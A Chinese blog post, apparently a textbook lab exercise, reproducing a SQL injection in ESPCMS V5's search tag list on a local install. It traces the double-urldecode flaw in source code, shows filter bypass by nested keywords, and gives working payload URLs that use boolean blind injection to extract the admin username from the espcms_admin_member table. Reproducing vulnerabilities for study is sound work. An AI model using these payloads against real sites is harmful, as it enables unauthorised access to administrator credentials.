复现ESPCMS搜索注入漏洞(urldecode注入漏洞)

 下载易思ESPCMS企业网站管理系统的V5 版本,根据安装说明,安装并配置ESPCMS

 

 

 

复现ESPCMS搜索注入漏洞

使用Seay源代码审计系统 找到漏洞

以《漏洞挖掘与防范》书本4.1.1.4为例

 

 

 

$tagkey变量是函数accept函数返回值 定位accept函数

 

 

 打开文件找到函数

 

 

 

根据$var=R 传递的是$_REQUEST['tagkey']输入的值

$tagkey变量进行了urldecode解码则会导致二次解码生成单引号而引发注入我们提交/1.php?id=l%2527,因为提交的参数里面没有单引号,所以第一次解码后的结果是id=1%27,%25解码的结果是%

 

 

 

 $tagkey的过滤函数 inputcodetrim()

 

 

 

可见只针对关键字进行过滤,即可以使用重写绕过函数

想对类中函数进行调用则需要实例化该类,即对该类名进行全局搜索

 

 

 发现index.php 文件实例化该类 即在首页有触发漏洞

 

 

 

通过在可输入框随机输入

 

可控变量为ac at  在源代码中寻找

定位indexget()函数

 

 由$k得到ac 或at $var=R 全文预览

 

 

 

$archive为被包含执行的文件名,$action用来指明该文件中调用的函数名,$mainlist->in_$action()调用该函数。我们通过现在可知/index.php页面是通过ac传参定位相应文件,调用其中at函数,若ac=search,at=taglist,则到search.php调用函数in_taglist(),再通过$tagkey变量传参,触发sql注入漏洞。

http://127.0.0.1/espcms/index.php?ac=search&at=taglist&tagkey=1%2527 构造payload

界面出错却没有显示出错内容,不能进行报错注入

对参数进行补全 然后urlencode二次编码

 http://127.0.0.1/espcms/index.php?ac=search&at=taglist&tagkey=-1%2527%252ctags)%2b%2523

 

 

成功 但无报错信息 使用布尔盲注

用盲注查询username

http://127.0.0.1/espcms/index.php?ac=search&at=taglist&tagkey=1%2527%252ctags)%2bor%2bdid%253e1%2band%2b1%253d(seselectlect%2blength(username)%2bfrfromom%2bespcms_admin_member%2blimit%2b1)%2523

length(username)=1  不成功 当等于5时

 

 

成功

http://127.0.0.1/espcms/index.php?ac=search&at=taglist&tagkey=1%2527,tags) or did>1 and 97=ascii(seselectlect  mid(username,1,1) frfromom espcms_admin_member limit 1)#

二次编码

http://127.0.0.1/espcms/index.php?ac=search&at=taglist&tagkey=1%2527%252ctags)%2bor%2bdid%253e1%2band%2b97%253dascii((seselectlect%2b%2bmid(username%252c1%252c1)%2bfrfromom%2bespcms_admin_member%2blimit%2b1))%2523

页面正常,因此username第1位即a.

同理,可以得出用户名为admin

 

posted @ 2022-11-04 20:23  周知行  阅读(1091)  评论(1)    收藏  举报